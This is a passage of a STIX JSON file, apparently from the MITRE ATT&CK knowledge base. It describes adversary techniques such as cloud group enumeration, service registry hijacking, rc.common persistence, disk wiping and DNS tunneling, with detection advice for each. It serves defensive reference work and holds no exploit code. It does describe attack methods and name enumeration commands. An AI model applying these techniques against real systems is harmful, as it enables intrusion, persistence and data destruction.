Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["James P Callahan, Professional Paranoid"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","created":"2020-10-02T16:51:50.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1594","external_id":"T1594"},{"source_name":"Perez Sitemap XML 2023","description":"Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.","url":"https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a"},{"source_name":"Comparitech Leak","description":"Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.","url":"https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"},{"source_name":"Register Robots TXT 2015","description":"Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.","url":"https://www.theregister.com/2015/05/19/robotstxt/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:51:35.759Z","name":"Cloud Groups","description":"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Regina Elwell","Isif Ibrahima, Mandiant"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.5","x_mitre_data_sources":["Command: Command Execution","Application Log: Application Log Content","Process: Process Creation","Group: Group Metadata","Group: Group Enumeration"],"type":"attack-pattern","id":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","created":"2020-02-21T21:15:33.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1069/003","external_id":"T1069.003"},{"source_name":"AWS Get Bucket ACL","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021.","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"},{"source_name":"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022","description":"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.","url":"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"},{"source_name":"Black Hills Red Teaming MS AD Azure, 2018","description":"Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"},{"source_name":"Google Cloud Identity API Documentation","description":"Google. (n.d.). Retrieved March 16, 2021.","url":"https://cloud.google.com/identity/docs/reference/rest"},{"source_name":"Microsoft AZ CLI","description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"},{"source_name":"Microsoft Msolrole","description":"Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"},{"source_name":"GitHub Raindance","description":"Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.","url":"https://github.com/True-Demon/raindance"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:42:48.016Z","name":"Services Registry Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Travis Smith, Tripwire","Matthew Demaske, Adaptforward"],"x_mitre_deprecated":false,"x_mitre_detection":"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Service: Service Modification","Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Application Control"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","created":"2020-03-13T11:42:14.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/011","external_id":"T1574.011"},{"source_name":"Tweet Registry Perms Weakness","description":"@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.","url":"https://x.com/r0wdy_/status/936365549553991680"},{"source_name":"insecure_reg_perms","description":"Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.","url":"https://itm4n.github.io/windows-registry-rpceptmapper-eop/"},{"source_name":"Kansa Service related collectors","description":"Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.","url":"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"},{"source_name":"malware_hides_service","description":"Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.","url":"https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"},{"source_name":"Autoruns for Windows","description":"Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"},{"source_name":"Registry Key Security","description":"Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.","url":"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"},{"source_name":"microsoft_services_registry_tree","description":"Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"},{"source_name":"troj_zegost","description":"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532","type":"attack-pattern","created":"2020-10-02T16:57:45.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.001","url":"https://attack.mitre.org/techniques/T1596/001"},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:49:13.409Z","name":"DNS/Passive DNS","description":"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:41:49.168Z","name":"Application Exhaustion Flood","description":"Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Sensor Health: Host Status","Application Log: Application Log Content"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","created":"2020-02-20T15:35:00.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1499/003","external_id":"T1499.003"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"Arbor AnnualDoSreport Jan 2018","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.","url":"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1163","url":"https://attack.mitre.org/techniques/T1163"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","source_name":"Startup Items"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-01-15T16:27:32.362Z","name":"Rc.common","description":"During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["root"],"x_mitre_is_subtechnique":false},{"modified":"2024-04-13T14:47:31.204Z","name":"Compromise Software Dependencies and Development Tools","description":"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","created":"2020-03-11T14:13:42.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1195/001","external_id":"T1195.001"},{"source_name":"Trendmicro NPM Compromise","description":"Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.","url":"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T16:19:41.567Z","name":"Digital Certificates","description":"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Certificate: Certificate Registration","Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","created":"2020-10-01T02:14:18.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1588/004","external_id":"T1588.004"},{"source_name":"DiginotarCompromise","description":"Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.","url":"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"},{"source_name":"Recorded Future Beacon Certificates","description":"Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/cobalt-strike-servers"},{"source_name":"Splunk Kovar Certificates 2017","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"},{"source_name":"Let's Encrypt FAQ","description":"Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.","url":"https://letsencrypt.org/docs/faq/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","type":"attack-pattern","created":"2020-10-01T00:40:45.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.002","url":"https://attack.mitre.org/techniques/T1583/002"},{"source_name":"Unit42 DNS Mar 2019","url":"https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/","description":"Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020."}],"modified":"2021-04-15T02:49:49.702Z","name":"DNS Server","description":"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-20T18:16:41.942Z","name":"Disk Wipe","description":"Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Driver: Driver Load","Drive: Drive Access","Command: Command Execution","Drive: Drive Modification","Process: Process Creation"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","created":"2020-02-20T22:02:20.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1561","external_id":"T1561"},{"source_name":"erase_cmd_cisco","description":"Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Microsoft Sysmon v6 May 2017","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T20:54:38.721Z","name":"DNS","description":"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) 